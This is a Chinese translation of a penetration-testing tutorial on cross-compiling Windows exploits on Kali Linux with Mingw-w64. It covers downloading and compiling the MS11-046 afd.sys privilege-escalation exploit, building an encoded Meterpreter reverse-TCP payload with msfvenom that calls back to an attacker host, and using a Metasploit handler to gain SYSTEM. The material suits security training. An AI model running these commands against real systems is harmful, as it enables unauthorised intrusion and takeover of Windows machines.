如何在Kali Linux上编译Windows EXP?

windows 操作系统作为目前使用最广的桌面系统,无论是在企业或是个人来说都占据着巨大的市场份额。因此,作为我们渗透测试人员来说,在日常工作中就会经常碰到 windows 环境下的工作和服务。另一方面,由于大多数渗透测试者主要使用基于 Linux 的发行版,如 Kali Linux,Pentoo 或 Backbox。因此,我们有时不得不在这些 Linux 系统上,来编译完成一些用于 windows 的 EXP。其实这并不难实现,只需一款名为 Mingw-w64 的软件就能帮我们完成任务!

如何在Kali Linux上编译Windows EXP?_第1张图片

Mingw-w64 是一个免费及开放源码的,用于 windows 应用程序的开发环境。最初它并不叫 Mingw-w64 而是叫 Mingw32,因为它不支持 64 位的操作系统。在本教程中,我将教大家如何在 kali linux 上编译用于 windows 下的 EXP。下面,让我们在 kali 上开始安装 Mingw-w64 。

Kali Linux 安装 Mingw-w64

Mingw-w64 在 kali 2.0 上并未集成,因此我们需要手动来完成安装。命令如下:

apt-get update

apt-get install mingw-w64

如何在Kali Linux上编译Windows EXP?_第2张图片

我们输入 Y 确认安装,下载和安装可能需要等一小会儿。

mingw-w64 安装包找不到?

在安装过程中,你可能会有这种情况,提示你无法找到 mingw-w64 安装包。就像下面:

root@kali:~# apt-get install mingw-w64

Reading package lists… Done

Building dependency tree

Reading state information… Done

E: Unable to locate package mingw-w64

要解决这个问题,必须确保你在 sources.list 文件中具有可用的存储库。我们使用 nano 来编辑打开该文件:

/etc/apt/sources.list

检查你的存储库是否正确可用,你可以在以下页面找到不同版本 Kali Linux 的存储库

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

当你正确配置了 sources.list 中的存储库,你需要使用 apt-get update 来更新你的源,之后再次进行 mingw-w64 的安装即可!

Mingw-w64 编译 Windows EXP

到这里我们已经成功安装了 Mingw-w64 在 kali 上。在这里我将以 CVE-2011-1249(MS11-046)为例,这是一个用 c 语言编写的 Windows EXP 它是 Windows 7 SP0 x86 上的一个漏洞利用程序。此版本的 Windows 系统,在 辅助功能驱动程序(AFD)中包含一个漏洞,并允许为已认证的非管理用户进行特权提升。虽然我们使用的 Mingw-w64 是为 64 位的系统定制的,但是它依然可以用于编译 32 位的 windows EXP。下面让我们看看如何编译一个 32 位的 windows EXP。

首先,让我们从 Exploit-db 上下载我们需要编译的 EXP:

wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564

使用以下命令编译 Windows 32 位的 afd.sys exp:

i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32

下面的命令编译的是 Windows 7 afd.sys 提权 exp:

i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32

2

编译完成后,我们将编译后的 exe 文件拷贝到 Apache web 服务根目录下,并启动了 Apache 服务。

我们将下载到 windows 上的 exe 程序使用 cmd.exe 打开,可以看到如下信息:

如何在Kali Linux上编译Windows EXP?_第3张图片

可以看到我们编译后的 EXP 在 windows 7上被成功执行,并将我们的权限从原来的 test 提升为了 system 权限!这个 exploit 实际上在当前 shell 中生成了一个新的 shell,而不是在新窗口中创建一个新的 shell 。这意味着,我们也可以从命令行 shell 运行此利用程序。例如 Meterpreter 中。

Exploit 编译错误

当编译不同架构和操作系统的 EXP 时,可能会发生许多错误。有很多变量可能会导致编译失败,例如:语法,库,主机和目标系统架构,已安装的编译软件等,都会带来影响。有些错误我们可以很轻松的处理,但对于有些问题处理起来却并不轻松。从轻度的警告到致命的错误 errors ,警告或许只是提示你一些功能函数的过时,但并不会导致程序无法运行。而关键错误提示则往往是致命的,它会导致你程序的直接终止运行。

处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常来说你不会是唯一一个遇到这类错误的人,因此大可不必闭门重造轮子。在线资源,通常就能很好的解决你的问题。

Meterpreter shell 下 MS11-046 利用

让我们快速的使用 Msfvenom 来生成一个 Meterpreter 的 TCP 反弹 shell ,并在我们的目标主机上执行该 shell 。同时我们将使用 Metasploit 下的 multi handler 来处理反弹会话。使用以下命令生成 payload:

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe

以上的 IP 和 PORT 根据你们自身情况填写。现在我们启动 msfconsole 并配置 multi handler exploit:

use exploit/multi/handler

set lhost [listening host IP]

set lport 4444

run

4

如果以上步骤正确无误,那么我们将会获取到目标主机的一个 Meterpreter shell :

如何在Kali Linux上编译Windows EXP?_第4张图片

下面我们就可以使用 shell 来进入命令行的 console 界面,并运行我们之前的提权 EXP 来实现权限的提升操作:

如何在Kali Linux上编译Windows EXP?_第5张图片

可以看到,我们成功将普通权限提升为了系统权限。这里由于在执行它的 shell 中生成了一个新的系统 shell ,因此我们权限受到了一定限制,导致我们无法在原来的 shell 中看到 EXP 的输出信息。如果你想看到 EXP 的信息,我们只需 exit 退出到普通 shell 中,我们依然可以看到 EXP 的输出信息:

如何在Kali Linux上编译Windows EXP?_第6张图片

总结:

在这篇文章中,我们学会了如何在 Linux 下编译和使用 windows EXP ,以及在 Meterpreter shell 中的使用方法。其实这不是最重要的,重要的是当我们在渗透过程中,遇到一些问题,我们要学会尝试着去解决它。这对我们的学习和成长将会带来不小的进步!

本文由 即刻安全 编译及整理。转载需注明来源!

原文链接:http://www.hackingtutorials.org/exploit-tutorials/mingw-w64-how-to-compile-windows-exploits-on-kali-linux/

你可能感兴趣的:(如何在Kali Linux上编译Windows EXP?)